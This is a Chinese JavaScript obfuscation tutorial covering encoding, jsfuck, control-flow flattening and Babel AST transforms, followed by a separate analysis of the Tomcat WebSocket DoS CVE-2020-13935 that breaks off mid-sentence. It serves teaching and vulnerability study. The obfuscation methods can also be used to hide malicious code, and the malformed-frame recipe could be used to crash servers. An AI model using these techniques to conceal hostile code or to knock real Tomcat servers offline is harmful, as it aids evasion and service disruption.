### 2.3 常量加密
* 字符串加密
对象成员属性名为字符串时，支持动态变化，可以使用加解密函数改变字符串
// 变化前
var aaa = 'haaaaeaaaalaaaaalaaaaaoaaaaa';
console.log(aaa.replace(/a/g, ''));
// 变化后
function double_b64_decode(sss){ // 双重base64解码函数
var test = [97, 116, 111, 98, 40, 97, 116, 111, 98, 40, 115, 115, 115, 41, 41]; // ascii编码数据
return eval(String.fromCharCode.apply(null, test)); // return atob(atob(sss));
}
var aaa = double_b64_decode('YUdGaFlXRmxZV0ZoWVd4aFlXRmhZV3hoWVdGaFlXOWhZV0ZoWVE9PQ==');
console[double_b6\u0034_decode('\u0059kc5b\x67==')](aaa[double_b\u00364_decode('Y21Wd2JHRmpaUT09')](/a/g, ''));
* 数值加密
利用位异或运算的自反特性，可以将数值转换为异或表达式
* a ⊕ b = c --> 111 ⊕ 222 = 177
* a ⊕ c = b --> 111 ⊕ 177 = 222
* b ⊕ c = a --> 222 ⊕ 177 = 111
// 变化前
for (a=3, b=0; a>b; b++){
console.log(b);
}
// 变化后
for (a=(28904789 ^ 23411199) - (98209009 ^ 84326486), b=(82719280 ^ 72618394) - (27206798 ^ 19203876); a>b; b++){
console.log(b);
}
### 2.4 数组混淆
* 数组混淆
提取代码中的字符串组合成一个大数组，再使用下标的方式来访问
// 变化前
var currTime = new window.Date().getTime();
console.log(currTime);
// 变化后
var _JMX2pS = [""[atob('Y29uc3RydWN0b3I=')][atob('ZnJvbUNoYXJDb2Rl')], atob('bGVuZ3Ro'), atob('c3BsaXQ=')]
function _phkzfz(str) {
var i, k, m = "";
k = str[_JMX2pS[2]](".");
for (i = 0; i < k[_JMX2pS[1]]; i++) {
m += _JMX2pS[0](k[i] ^ 0x12);
}
return m;
}
var _N2JfbZ = [_phkzfz('126.125.117'), _phkzfz('86.115.102.119'), _phkzfz('117.119.102.70.123.127.119'), _phkzfz('113.125.124.97.125.126.119')];
var _rAr7F7 = new window[_N2JfbZ[1]]()[_N2JfbZ[2]]();
window[_N2JfbZ[3]][_N2JfbZ[0]](_rAr7F7);
* 数组乱序
在数组混淆的基础上，增加一个排序函数来打乱大数组的顺序，和一个还原函数来还原被打乱的数组
// 变化前
var currTime = new window.Date().getTime();
console.log(currTime);
// 乱序函数
var aaa = [1, 2, 3, 4, 5];
(function(arr, num){ // 数组打乱 --> 头出尾进
for (var x = num; x > 0 ; x--) {
arr['push'](arr['shift']());
}
})(aaa, 7); // 做7次变化
console.log(aaa); // [3, 4, 5, 1, 2]
(function(arr, num){ // 数组还原 --> 尾出头进
for (var x = num; x > 0 ; x--) {
arr['unshift'](arr['pop']());
}
})(aaa, 7);
console.log(aaa); // [1, 2, 3, 4, 5]
// 变化后
var _JMX2pS = [atob('c3BsaXQ='), ""[atob('Y29uc3RydWN0b3I=')][atob('ZnJvbUNoYXJDb2Rl')], atob('bGVuZ3Ro')];
(function(arr, num){ // 数组还原函数
for (var x = num; x > 0 ; x--) {
arr['unshift'](arr['pop']()); // 尾出头进
}
})(_JMX2pS, 5);
function _phkzfz(str) {
var i, k, m = "";
k = str[_JMX2pS[2]](".");
for (i = 0; i < k[_JMX2pS[1]]; i++) {
m += _JMX2pS[0](k[i] ^ 0x12);
}
return m;
}
var _N2JfbZ = [_phkzfz('117.119.102.70.123.127.119'), _phkzfz('113.125.124.97.125.126.119'), _phkzfz('126.125.117'), _phkzfz('86.115.102.119')];
(function(arr, num){ // 数组还原函数
for (var x = num; x > 0 ; x--) {
arr['push'](arr['shift']()); // 头出尾进
}
})(_N2JfbZ, 6);
var _rAr7F7 = new window[_N2JfbZ[1]]()[_N2JfbZ[2]]();
window[_N2JfbZ[3]][_N2JfbZ[0]](_rAr7F7);
### 2.5 jsfuck
根据js语言的弱类型性质，用`(`、`)`、`[`、`]`、`+`、`!`6种字符来替换代码：
* `!`逻辑非，转化成布尔类型，并取反，如：![] ==> !1 ==> false、typeof(![]) ==> 'boolean'
* `+`加法运算或字符串拼接，一元运算时转化为数值类型，如：+[] ==> +"" ==> 0、typeof(+[]) ==> 'number'；二元运算时，存在字符串则拼接字符串，不存在则做数字加法，如：'abc' + 1 ==> 'abc1'、true + true ==> 2、!![] + [] ==> true + '' ==> 'true'、!![] + !! + [] ==> true + false ==> 1 + 0 ==> 1
false ==> ![]
true ==> !![]
0 ==> +[]
1 ==> +!+[]
10 ==> +(1+0) ==>+([+!+[]] + [+[]])
a ==> ('false')[1] ==> (![]+[])[+!+[]]
* 再配合constructor构造函数eval执行字符串语句
// 变化前
alert(1);
// 变化中
[]["filter"]["constructor"]('alert(1)')();
"filter" ==> ((![]+[])[0] + ([![]]+[][[]])[10] + (![]+[])[2] + (!![]+[])[0] + (!![]+[])[3] + (!![]+[])[1])
├── 'f' ==> (false+[])[0]
├── 'i' ==> ([false]+undefined)[10]
├── 'l' ==> (false+[])[2]
├── 't' ==> (true+[])[0]
├── 'e' ==> (true+[])[3]
└── 'r' ==> (true+[])[1]
"constructor" ==> (([][((![]+[])[0] + ([![]]+[][[]])[10] + (![]+[])[2] + (!![]+[])[0] + (!![]+[])[3] + (!![]+[])[1])]+[])[3] + (!![]+[][((![]+[])[0] + ([![]]+[][[]])[10] + (![]+[])[2] + (!![]+[])[0] + (!![]+[])[3] + (!![]+[])[1])])[10] + ([][[]]+[])[1] + (![]+[])[3] + (!![]+[])[0] + (!![]+[])[1] + ([][[]]+[])[0] + ([][((![]+[])[0] + ([![]]+[][[]])[10] + (![]+[])[2] + (!![]+[])[0] + (!![]+[])[3] + (!![]+[])[1])]+[])[3] + (!![]+[])[0] + (!![]+[][((![]+[])[0] + ([![]]+[][[]])[10] + (![]+[])[2] + (!![]+[])[0] + (!![]+[])[3] + (!![]+[])[1])])[10] + (!![]+[])[1])
├── 'c' ==> ([]["filter"]+[])[3]
├── 'o' ==> (true+[]["filter"])[10]
├── 'n' ==> (undefined+[])[1]
├── 's' ==> (false+[])[3]
├── 't' ==> (true+[])[0]
├── 'r' ==> (true+[])[1]
├── 'u' ==> (undefined+[])[0]
├── 'c' ==> ([]["filter"]+[])[3]
├── 't' ==> (true+[])[0]
├── 'o' ==> (true+[]["filter"])[10]
└── 'r' ==> (true+[])[1]
"alert(1)" ==> ((![]+[])[1] + (![]+[])[2] + (!![]+[])[3] + (!![]+[])[1] + (!![]+[])[0] + (![]+[][((![]+[])[0] + ([![]]+[][[]])[10] + (![]+[])[2] + (!![]+[])[0] + (!![]+[])[3] + (!![]+[])[1])])[20] + 1 + (!![]+[][((![]+[])[0] + ([![]]+[][[]])[10] + (![]+[])[2] + (!![]+[])[0] + (!![]+[])[3] + (!![]+[])[1])])[20])
├── 'a' ==> (false+[])[1]
├── 'l' ==> (false+[])[2]
├── 'e' ==> (true+[])[3]
├── 'r' ==> (true+[])[1]
├── 't' ==> (true+[])[0]
├── '(' ==> (false+[]["filter"])[20]
├── '1' ==> '1'
└── ')' ==> (true+[]["filter"])[20]
// 变化后
[][((;
### 2.6 花指令
在代码中添加不影响运行但可以增加逆向工作量的垃圾代码
* 二项式转函数
// 变化前
var a = 3;
var b = 5;
var c = 7;
console.log(a+b+c);
// 变化后
function _yEMYyf(j, k, l){
return j + l;
}
function _hDp7fx(j, k, l){
return _yEMYyf(l, +![], j) + k;
}
function _zaApRm(j, k, l){
return _hDp7fx(k, l, j);
}
console.log(_zaApRm(3, 5, 7));
* 多层嵌套函数调用表达式
// 变化前
var a = 3;
var b = 5;
var c = 7;
console.log(a+b+c);
// 变化后
function _B2PfcZ(j, k, l){
return k + j + l;
}
function _yEMYyf(j, k, l){
return j + l;
}
function _hDp7fx(j, k, l){
return _yEMYyf(l, +![], j) + k;
}
function _zaApRm(j, k, l){
return _hDp7fx(k, l, j);
}
function _Qht8Gs(j, k, l){
return j['log'](l);
}
var _pDcMr4 = {
ktJbRx: console,
DrS5f6: 5,
Y2dAP6: [+!+[]]+[+[]] - [!+[]+!+[]+!+[]],
tZF58n: function(){
return _Qht8Gs(
this.ktJbRx,
this.Y2dAP6,
_zaApRm(!+[]+!+[]+!+[], this.DrS5f6, this.Y2dAP6)
);
}
};
_pDcMr4[_B2PfcZ(_yEMYyf('F' ,'M', '5'), _yEMYyf('t' ,'L', 'Z'), _yEMYyf('8' ,'q', 'n'))]();
### 2.7 控制流平坦化
借助`switch`语句，将顺序执行的代码转变成看似乱序的switch语句
// 变化前
function aaa(){
var a, b, c;
a = 1
b = a + 2;
c = b + 3;
return c + 4;
}
// 变化后
function aaa(){
var a, b, c, d = 0, arr = '2|3|1|4'.split('|');
while(!![]){
switch(arr[d++]){
case '1':
c = b + 3;
continue;
case '2':
a = 1;
continue;
case '3':
b = a + 2;
continue;
case '4':
return c + 4;
continue;
}
break;
}
}
### 2.8 逗号表达式
逗号表达式会先计算左边的参数，再计算右边的参数值，最后返回最右边参数的值，可以在左边参数中加入无效语句达到混淆目的
// 变化前
function aaa(){
var a, b, c;
a = 1
b = a + 2;
c = b + 3;
return c + 4;
}
// 变化后
function aaa(){
var a, b, c, d, e;
return (c = (e = 3, (b = (d = 2, a = 1, a)),b + 2), c + 3) + 4;
}
## 三、自动化混淆方案
人工混淆成本过高，实际应用中常先将代码转化为ast语法树，再在不影响输出结果的情况下改变树结构实现混淆
### 3.1 ast语法树
ast是一种树状形式表现代码语法结构的抽象结构，它产生于编译过程中语法分析阶段，由词法分析阶段的Token单元组合而来，然后再经过语义分析阶段、中间代码生成阶段转化成目标机器可识别的机器码
常见语法树节点（[@babel/parser](https://github.com/babel/babel/blob/main/packages/babel-parser/ast/spec.md)）：
Identifier ==> 标识符
Programs ==> 根节点
Functions ==> 函数节点
Literals ==> 字面量
├── RegExpLiteral ==> 正则型字面量，如：str.replace(/a/g, 1);
├── StringLiteral ==> 字符型字面量，如：var a = 'abc';
├── BooleanLiteral ==> 布尔型字面量，如：Boolean(false);
└── NumericLiteral ==> 数字型字面量，如：var a = 1;
Statements ==> 语句节点
├── ExpressionStatement ==> 表达式语句，如：console.log(1);
├── BlockStatement ==> 块语句，如：if (true){};
├── EmptyStatement ==> 空语句，如：if (true){};
├── BreakStatement ==> 中断语句，如：break;
└── ForStatement ==> for循环语句，如：for(;;){};
Declarations ==> 声明语句节点
├── FunctionDeclaration ==> 函数声明，如：function aaa(){};
└── VariableDeclaration ==> 变量声明，如：let a = 1;
Expressions ==> 表达式节点
├── FunctionExpression ==> 函数表达式，如：(function(){console.log(1);})();
├── BinaryExpression ==> 二项式表达式，如：1 == 2;
├── AssignmentExpression ==> 赋值表达式，如：a = window;
├── ConditionalExpression ==> 三元运算表达式，如：1 > 2 ? 1 : 2;
└── CallExpression ==> 调用表达式，如：alert(1);
例：js多元运算式
function test(p) {
var a = 5, b = 12;
return p > 1 ? p < b ? p > b : p = 6 : p = 3;
}
函数内部return返回一串运算式，肉眼较难理清代码逻辑，将其放入在线ast解析工具（[astexplorer](https://astexplorer.net/)）解析
==> `var a = 5, b = 12;`
==> `return p > 1 ? p < b ? p > b : p = 6 : p = 3;`
可以看到，`return`的`argument`是一个三元表达式，当①为真时执行②、为假时执行③，而②也是一个三元表达式，当④为真时执行⑤、为假时执行⑥，③是一个赋值赋值表达式，将数字型字面量`3`赋值给标识符`p`
* ①：`p > 1`
* ②：`p < b ? p > b : p = 6`
* ③：`p = 3`
* ④：`p < b`
* ⑤：`p > b`
* ⑥：`p = 6`
### 3.2 ast混淆原理
与编译器原理相似，但混淆器在生成语法树后不生成中间代码而是按提前制定的转变规则修改语法树结构，然后再生成与原始代码相同的字符流代码
例：使用ast修改数字型字面量
// 混淆前
for (a=3, b=0; a>b; b++){
console.log(b);
}
// babel混淆
traverse(ast, {
NumericLiteral(path){
let value = path.node.value; // 获取原始节点值
let key = parseInt(Math.random() * 999999, 10); // 生成随机数
let cipherNum = value ^ key; // 原始值与随机数进行位异或操作，得到cipherNum
path.replaceWith(t.binaryExpression('^', t.numericLiteral(cipherNum), t.numericLiteral(key))); // 利用异或自反性值，将原始节点数值改变为异或表达式
path.skip(); // 跳过当前节点防止死循环，新生成的ast树也存在数字
}
});
// 混淆后
for (a = 558389 ^ 558390, b = 299059 ^ 299059; a > b; b++) {
console.log(b);
}
### 3.3 babel工具
babel是众多js编译工具中的一款，以插件结构api形式提供服务，作为自动化混淆工具时工作流程如下：
* 解析js代码生成ast树：`@babel/parser`
* 遍历ast并改变树结构：`@babel/traverse`、`@babel/types`
* 根据新ast生成新js代码：`@babel/generator`
#### 01 解析
[@babel/parser](https://babeljs.io/docs/en/babel-parser)提供`parse()`接口用于解析源码生成抽象语法树
const parser = require("@babel/parser");
let ast = parser.parse('var a = 1 + 1;');
console.log(ast);
==>
Node {
type: 'File',
start: 0,
end: 14,
loc: SourceLocation {
start: Position { line: 1, column: 0 },
end: Position { line: 1, column: 14 },
filename: undefined,
identifierName: undefined
},
errors: [],
program: Node {
type: 'Program',
start: 0,
end: 14,
loc: SourceLocation {
start: [Position],
end: [Position],
filename: undefined,
identifierName: undefined
},
sourceType: 'script',
interpreter: null,
body: [ [Node] ],
directives: []
},
comments: []
}
访问子节点
const parser = require("@babel/parser");
let ast = parser.parse('var a = 1 + 1;');
console.log(ast.program.body[0].declarations[0].id);
==>
Node {
type: 'Identifier',
start: 4,
end: 5,
loc: SourceLocation {
start: Position { line: 1, column: 4 },
end: Position { line: 1, column: 5 },
filename: undefined,
identifierName: 'a'
},
name: 'a'
}
#### 02 转换
转换ast用到[@babel/types](https://babeljs.io/docs/en/babel-types)、[@babel/traverse](https://babeljs.io/docs/en/babel-traverse)两个模块，前者定位节点制定变化规则，后者遍历节点将规则应用到语法树中
* @babel/types
该模块提供的api名称与@babel/parser生成的ast节点`type`相同，如：
接口 | 说明 | 示例
---|---|---
stringLiteral | 字符型字面量 | t.stringLiteral("expressionStatement test")
expressionStatement | 表达式语句节点 |
t.expressionStatement(t.stringLiteral("expressionStatement test"))
functionDeclaration | 函数声明 | t.functionDeclaration(
t.identifier(''),[],t.blockStatement([t.emptyStatement()]))
binaryExpression | 二项表达式 | t.binaryExpression('^', t.numericLiteral(1),
t.numericLiteral(2))
* @babel/traverse
将@babel/types写好的规则即`visitor`对象放入`traverse()`中遍历，遍历方式为深度优先
var ast = parser.parse('var a = "1";');
const visitor = {
enter(path){
console.log('enter: ' + path.type);
},
exit(path){
console.log('exit: ' + path.type);
}
}
traverse(ast, visitor);
==>
enter: Program
enter: VariableDeclaration
enter: VariableDeclarator
enter: Identifier
exit: Identifier
enter: StringLiteral
exit: StringLiteral
exit: VariableDeclarator
exit: VariableDeclaration
exit: Program
其中定位树节点用到了`path`对象，常见属性和方法有：
#### 03 生成
@babel/traverse生成新ast后，再经过@babel/generator便可以生成新的js代码
var ast = parser.parse('var a = 1;');
const visitor = {
NumericLiteral(path){
xxx
}
}
traverse(ast, visitor);
let code = generator(ast).code;
console.log(code);
## 四、ast混淆器
### 4.1 改变对象访问方式
两种对象访问方式都在`MemberExpression`中，受到`computed`参数值控制，为`false`时表示以
`.`形式访问对象、为`true`时表示以`[]`形式访问对象
给`computed`赋值为 `true`并改变`property`值的类型为`StringLiteral`
const visitor = {
MemberExpression(path){
if (path.node.computed == false){ // computed为false时执行
//const name = path.get('property').toString(); // toString方法获取原始值
const name = path.node.property.name; // node节点获取原始值
path.node.property = t.stringLiteral(name); // 将原始值赋值给property
path.node.computed = true; // 改变computed为true
}
}
}
### 4.2 标识符unicode编码
标识符节点名为`Identifier`
先`path.node.name`获取原始数据，再将原始值转变为ascii数字后加入`\u`前缀
function string2unicode(str){ // 字符串转unicode
let ret ="";
for(let i=0; i<str.length; i++){
ret += "\\u" + "00" + str.charCodeAt(i).toString(16); //字符串的charCodeAt方法转化成16进制ascii编码，再加上\u00前缀
}
return ret;
}
const visitor = {
Identifier(path){
const src_value = path.node.name; // 获取原始值
path.replaceWith(t.Identifier(string2unicode(src_value))); // 使用replace替换当前节点为unicode编码后的数据
path.skip(); // 跳过当前节点防止死循环，新生成的ast树也存在标识符
}
}
成功运行：
### 4.3 字符串加密
将代码中的字符串以调用表达式表示
function double_b64_decode(sss){ // 双重base64解码函数
return atob(atob(sss));
}
function double_b64_encode(sss){ // 双重base64编码函数
return btoa(btoa(sss));
}
const visitor = {
MemberExpression(path){ // 改变对象的访问方式
if (path.node.computed == false){
//const name = path.get('property').toString();
const name = path.node.property.name;
path.node.property = t.stringLiteral(name);
path.node.computed = true;
}
},
StringLiteral(path){ // 改变字符串为函数表达式
const src_value = path.node.value; // 获取原始值
const en_Str = t.CallExpression(
t.identifier('double_b64_decode'), // 函数名
[t.stringLiteral(double_b64_encode(src_value))] // 加密后的字符串
)
path.replaceWith(en_Str);
path.skip();
}
}
成功运行：
> 变化后的代码涉及到新增一个解密函数，如果以明文形式下发该函数容易被解析，还需要对其进行额外的混淆
### 4.4 数值位异或加密
将数值字面量转变为两层嵌套的异或二项式
首先将原始数字转变为减法运算式，然后把减法运算式左右两边数字转变成异或表达式，最后再`t.replaceWith()`替换原始节点
function num2xor(num){ // 转化为异或表达式
let key = parseInt(Math.random() * 999999, 10); // 生成随机数
let cipherNum = key ^ num;
return [key, cipherNum];
}
function num2add(num){ // 转化为减法运算表达式
let key = parseInt(Math.random() * 999999, 10); // 生成随机数
let cipherNum = key - num;
return [key, cipherNum];
}
const visitor = {
NumericLiteral(path){
const src_value = path.node.value; // 获取原始值
let xxx = num2add(src_value); // 将原始值分解成减法运算表达式
let xxx_2 = num2xor(xxx[0]); // 将减法运算表达式左边的值转变为异或表达式
let xxx_3 = num2xor(xxx[1]); // 将减法运算表达式右边的值转变为异或表达式
path.replaceWith(t.binaryExpression('-', // 替换原始数字字面量
t.binaryExpression('^', t.NumericLiteral(xxx_2[0]), t.NumericLiteral(xxx_2[1])),
t.binaryExpression('^', t.NumericLiteral(xxx_3[0]), t.NumericLiteral(xxx_3[1]))
));
path.skip();
}
}
生成的表达式动态变化
### 4.5 数组混淆
创建一个大数组，将代码中的字符串写入到数组中，后续使用下标的方式来访问
将`StringLiteral`变化成`CallExpression`
let strList = []; // 创建一个大数组
let visitor = {
StringLiteral(path){
let srcValue = double_b64_encode(path.node.value); // 双重base64编码原始数据
let index = strList.indexOf(srcValue); // 字符串的indexOf方法查询srcValue是否已存在
if (index == -1){ // 不存在时将srcValue加入数组
let length = strList.push(srcValue); // 数组的push方法会将值加入最后并返回数组长度
index = length - 1; // 数组以0开始计数，-1则表示最后一个值得位置
}
path.replaceWith(t.CallExpression(
t.identifier('double_b64_decode'),
[t.memberExpression(
t.identifier('Arr'),
t.numericLiteral(index), // 写入数组下标
true
)]
));
}
}
traverse(ast, visitor);
但此时新生成的js代码没有`double_b64_encode()`与`Arr`，还需要创建函数和数组
// 增加Arr数组
strList = strList.map(function(sss){ // 将数组转化为节点形式
return t.StringLiteral(sss);
})
let var_tion = t.variableDeclaration('var',
[t.variableDeclarator(
t.identifier('Arr'),
t.arrayExpression(strList)
)]
)
ast.program.body.unshift(var_tion);
// 增加double_b64_decode函数
let fun_tion = t.functionDeclaration(
t.identifier('double_b64_decode'),
[t.identifier('sss')],
t.blockStatement(
[t.returnStatement(
t.CallExpression(
t.identifier('atob'),
[t.CallExpression(
t.identifier('atob'),
[t.identifier('sss')]
)]
)
)]
)
)
ast.program.body.unshift(fun_tion);
成功运行：
### 4.6 二项式转花指令
将二项式用函数包装
先将二项式转化为调用表达式，再在根节点新增一个该表达式函数
function randomString(len) { // 生成随机字符串
len = len || 32;
var $chars = 'ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678';
var maxPos = $chars.length;
var pwd = '';
for (i = 0; i < len; i++) {
pwd += $chars.charAt(Math.floor(Math.random() * maxPos));
}
return pwd;
}
let visitor = {
BinaryExpression(path){
let xxx = "_" + randomString(4); // 生成随机字符串
let left = path.node.left; // 获取原始二项式左边值
let right = path.node.right; // 获取原始二项式右边值
let operator = path.node.operator; // 获取原始二项式运算符
let j = t.identifier('j');
let k = t.identifier('k');
path.replaceWith(t.CallExpression( // 将二项式替换为函数
t.identifier(xxx), // 函数名为随机字符串
[left, right] // 函数参数为原始二项式参数
));
let newFunc = t.functionDeclaration( // 新增用于处理花指令的函数
t.identifier(xxx),
[j, k],
t.blockStatement(
[t.returnStatement(
t.binaryExpression(operator,j,k)
)]
)
)
let rootPath = path.findParent( // 向上查找，返回根节点
function(p){
return p.isProgram();
}
)
rootPath.node.body.unshift(newFunc); // 在根节点创建花指令函数
}
}
成功运行：
### 4.7 指定行加密
针对函数内部分代码进行加密操作
先将行代码转化为字符串，再加密嵌套`eval`执行
let visitor = {
FunctionDeclaration(path){
let tmp = path.node.body;
let body = tmp.body.map(function(p){ // 遍历body下每一个子节点
if (t.isReturnStatement(p)) {return p}; // 不对return做操作
let src_code = generator(p).code; // 将ast还原为js代码
let ciperCode = double_b64_encode(src_code); // 对js代码进行加密处理
let ciperFunc = t.callExpression( // 生成double_b64_decode表调用达式
t.identifier('double_b64_decode'),
[t.stringLiteral(ciperCode)]
);
let newFunc = t.callExpression( // 生成eval调用表达式
t.identifier('eval'),
[ciperFunc]
);
return t.expressionStatement(newFunc); // 单个节点处理完成，返回表达式节点
})
path.get('body').replaceWith(t.blockStatement(body)); // 替换原有body
}
}
traverse(ast, visitor);
let d_decode = t.functionDeclaration( // 增加double_b64_decode函数
t.identifier('double_b64_decode'),
[t.identifier('sss')],
t.blockStatement(
[t.returnStatement(
t.CallExpression(
t.identifier('atob'),
[t.CallExpression(
t.identifier('atob'),
[t.identifier('sss')]
)]
)
)]
)
);
ast.program.body.unshift(d_decode); // 在根节点下创建double_b64_decode函数
成功运行：
### 4.8 去注释/去空格
@babel/generator模块支持传入参数控制ast生成js结果
// 示例
let code = generator(ast, {
compact: true, // 是否去除空格
comments: false, // 是否显示注释
}).code;
原始输出：
function double_b64_decode(sss) {
return atob(atob(sss));
}
function xxx(x) {
eval(double_b64_decode("ZUNBOUlIZ2dLeUF4T3c9PQ=="));
eval(double_b64_decode("WTI5dWMyOXNaUzVzYjJjb01Tazc="));
return x;
} // test
去除空格和注释：
function double_b64_decode(sss){return atob(atob(sss));}function xxx(x){eval(double_b64_decode("ZUNBOUlIZ2dLeUF4T3c9PQ=="));eval(double_b64_decode("WTI5dWMyOXNaUzVzYjJjb01Tazc="));return x;}
### 4.9 动态混淆技术
使用上述混淆方法或其他混淆手段实现的混淆器属于静态混淆，即投入生产环境中便不再发生变化，如果能在混淆过程中加入随机因素使用户每次发起请求收到的js代码都不一样，这便让js代码动了起来，也提高了逆向工作者的逆向成本，那么该如何实现呢，下面是我的想法：
* 代码端：ast混淆函数加入一个不确定参数，可以是时间戳或用户身份指纹，类似加盐加密算法但与之不同的是混淆过程不同的不确定参数会引起混淆后代码结构上的改变，如：时间区间1对应代码结构1、身份指纹2对应代码结构2
* 系统端：混淆器与web中间件做绑定，每接受一个请求便提取不确定参数传入混淆器动态混淆生成一次js代码，实现每个用户每次请求返回的js都不完全一致
### 4.10 小结
测试：
// 变化前
function digui(n){
/*if(n <= 2)
return 1;
return digui(n-1) + digui(n-2);*/
return n <= 2 ? 1 : digui(n-1) + digui(n-2);
}
console.log(digui(10));
// 变化后
function double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \u0064\u0069\u0067\u0075\u0069(\u006e){return \u005f\u0045\u0058\u004d\u0053(\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\u005f\u0072\u0053\u0065\u0053(\u0064\u0069\u0067\u0075\u0069(\u005f\u0073\u0054\u0046\u0062(\u006e,(846611^391233)-(844466^389603))),\u0064\u0069\u0067\u0075\u0069(\u005f\u0077\u0059\u0051\u006d(\u006e,(372786^381554)-(538795^547477))));}\u0063\u006f\u006e\u0073\u006f\u006c\u0065[\u0064\u006f\u0075\u0062\u006c\u0065\u005f\u0062\u0036\u0034\u005f\u0064\u0065\u0063\u006f\u0064\u0065(\u0041\u0072\u0072[(812069^947940)-(417221^282372)])](\u0064\u0069\u0067\u0075\u0069((425420^179515)-(347329^101420)));
项目地址：
* <https://github.com/ainrm/js_confuse>
## 五、参考
* <https://babeljs.io/docs/en/babel-parser>
* <https://www.zhihu.com/question/47047191>
* <https://book.douban.com/subject/35575838/>
* <https://evilrecluse.top/Babel-traverse-api-doc/#/>
* <https://www.cnblogs.com/xiaoheibanfe/p/14187319.html> | 社区文章 |
# CVE-2020-13935 Apache Tomcat Websocket DoS 漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Apache
Tomcat在9.0.37版本的[更新](https://tomcat.apache.org/security-9.html)中，修复了一个Websockt的拒绝服务漏洞
由于Websocket frame中的payload的长度没有正确验证，导致陷入了无限循环，造成拒绝服务。
## Websocket 协议
[RFC 6455](https://tools.ietf.org/html/rfc6455#section-5.2)中规定了Websocket
frame的结构
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-------+-+-------------+-------------------------------+
|F|R|R|R| opcode|M| Payload len | Extended payload length |
|I|S|S|S| (4) |A| (7) | (16/64) |
|N|V|V|V| |S| | (if payload len==126/127) |
| |1|2|3| |K| | |
+-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
| Extended payload length continued, if payload len == 127 |
+ - - - - - - - - - - - - - - - +-------------------------------+
| |Masking-key, if MASK set to 1 |
+-------------------------------+-------------------------------+
| Masking-key (continued) | Payload Data |
+-------------------------------- - - - - - - - - - - - - - - - +
: Payload Data continued ... :
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| Payload Data continued ... |
+---------------------------------------------------------------+
前9位是一些标志位，接着7位为payload length，后面64位为扩展的payload length，payload len就是最后payload
data的长度，对于扩展payload len，也做了详细的规定
Payload length: 7 bits, 7+16 bits, or 7+64 bits
The length of the "Payload data", in bytes: if 0-125, that is the
payload length. If 126, the following 2 bytes interpreted as a
16-bit unsigned integer are the payload length. If 127, thec
following 8 bytes interpreted as a 64-bit unsigned integer (the
most significant bit MUST be 0) are the payload length.
当payload len为0-127之间时，payload len就是payload data的长度，当payload
len为126时，只使用后面的2个字节作为payload data的长度，当payload len为127时，则说明后面的8个字节是payload
data长度，这时64位的Extended Payload Len最高位必须为0，代表无符号整数
## 漏洞分析
### 补丁
先看Apache
Tomcat官方的更新[commit](https://github.com/apache/tomcat/commit/40fa74c74822711ab878079d0a69f7357926723d)
在`org/apache/tomcat/websocket/WsFrameBase.java`中的`processRemainingHeader`函数中，当payloadLength为127时，获取新的payloadLength，增加了非负的判断。
### 代码分析
这里使用Apache Tomcat9.0.35+JDK1.8.0_271进行调试，首先在补丁代码处下断点
使用tomcat自带的examples中的Websocket的接口`ws://localhost:8080/examples/websocket/echoProgrammatic`，为了能让代码走到断点行，需要payload
len为127，所以构造一个payload len为`0b1111111`，payload data为`test`的Websocket数据包发送
可以看到，`inputBuffer`就是我们发送的整个数据包，此时取出了其中的payload
len为127，接着我们进入`byteArrayToLong`函数
这里`start=2 len=8`，也就是正好取出了Websocket数据包的16位之后的64位数据，也就是Extended Payload
Length进行计算，每次取低8位进行byte到long的转换，由于`long`数据类型是64位有符号的Java原始数据类型，当计算到最高8位时，`result`将是一个负数，我们构造的数据包Extended
Payload Length64位全为1，查看其结果
可以看到，最终结果是为负数，接着我们查看代码继续调试，寻找当payload len为负数时，会发生什么
当处理完payload len之后，当前`state=State.DATA`，由于已经计算出payload data的长度，此时需要用payload
len来处理payload data，在`processData`函数增加断点，并跟踪进去
接着进入`processDataText`函数
进入`transformation.getMoreData`函数
主要功能就是把payload data通过payload
len一字节一字节的取出来放到`dst`中，`payloadWritten`从0自增。当取完payload
len的数据之后，不会在意之后是否还存在数据，就会返回`END_OF_FRAME`，如果payload len大于真实的payload
data的长度，那么当发现`inputBuffer`没有数据了，就会返回`UNDERFLOW`，其他情况就会返回`OVERFLOW`，所以如果payload
len为负数，那么也会返回`OVERFLOW`，接着返回到`processDataText`函数中，我们认真观察这段代码
正常情况下，会因`END_OF_FRAME`而直接不进入循环，当返回`UNDERFLOW`或者`OVERFLOW`两种状态时，会进入循环并进行`messageBufferBinary`也就是payload
data的utf-8解码，当我们将payload len变为负数传入时，解码结果将返回`UNDERFLOW`，从而进入判断
由于payload len为负数，导致取payload
data时返回的`TransformationResult.OVERFLOW`，从而utf-8解码的这个循环结束，再次调用`tr =
transformation.getMoreData(opCode, fin, rsv,
messageBufferBinary);`，进入读取payload
data的循环，由于返回值依然是`OVERFLOW`，这样就进入了无限循环，导致CPU爆满，那么为什么`OVERFLOW`状态会导致这个循环的无限执行呢？
由于Websocket支持最大64位有符号数长度的payload
data，而在取数据到`messageBufferBinary`时，只有8192的容量，所以当数据过长一次没有全部读取到Buffer时，会返回`OVERFLOW`用于后续循环再次读取
但是由于payload
len为负时，错误地将其处理为`OVERFLOW`状态，从而导致无限地循环，`OVERFLOW`状态永远都不会变，这才是整个漏洞最主要的原因。
### Exploit
参考[github.com/RedTeamPentesting/CVE-2020-13935](https://github.com/RedTeamPentesting/CVE-2020-13935)
### 效果
一个数据包即可
### 影响范围
* 9.0.0.M1~9.0.36
* 10.0.0-M1~10.0.0-M6
* 8.5.0~8.5.56
* 7.0.27~7.0.104
## Tomcat Websocket协议BUG
### 分析
在调试过程中，发现当发送64位全1的Extended Payload Len时，最终计算的结果是-2，是-2，是-2
真实结果应该是-1才对啊，经过调试发现当进行32-39这8位数据时，发现`result=-1`
询问[@fnmsd](https://github.com/fnmsd
